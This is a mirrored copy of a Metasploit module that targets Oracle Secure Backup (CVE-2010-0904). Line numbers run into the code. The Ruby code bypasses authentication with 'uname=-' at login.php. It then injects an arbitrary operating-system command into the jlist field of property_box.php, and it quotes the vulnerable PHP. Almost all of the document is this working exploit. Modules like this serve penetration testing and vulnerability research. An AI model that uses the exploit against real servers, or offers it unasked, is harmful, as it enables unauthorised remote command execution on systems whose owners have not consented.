Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/oracle/osb_execqr3.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',11'Description' => %q{12This module exploits an authentication bypass vulnerability13in login.php in order to execute arbitrary code via a command injection14vulnerability in property_box.php. This module was tested15against Oracle Secure Backup version 10.3.0.1.0 (Win32).16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2010-0904' ],22[ 'OSVDB', '66338'],23[ 'ZDI', '10-118' ],24],25'DisclosureDate' => '2010-07-13'))2627register_options(28[29Opt::RPORT(443),30OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),31OptBool.new('SSL', [true, 'Use SSL', true]),32])33end3435def run36cmd = datastore['CMD']3738res = send_request_cgi(39{40'uri' => '/login.php',41'data' => 'attempt=1&uname=-',42'method' => 'POST',43}, 5)4445if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)4647print_status("Sending command: #{datastore['CMD']}...")4849send_request_cgi(50{51'uri' => '/property_box.php',52'data' => 'type=Job&jlist=' + Rex::Text.uri_encode('&' + cmd),53'cookie' => res.get_cookies,54'method' => 'POST',55}, 5)5657print_status("Done.")58else59print_error("Invalid PHPSESSION token..")60return61end62end63end64=begin65else if (strcmp($type, "Job") == 0)66{67if (!is_array($objectname))68$objectname = array();69reset($objectname);70while (list(,$oname) = each($objectname))71{72$oname = escapeshellarg($oname);73$jlist = "$jlist $oname";74}75if (strlen($jlist) > 0)76$msg = exec_qr("$rbtool lsjob -lrRLC $jlist");77=end787980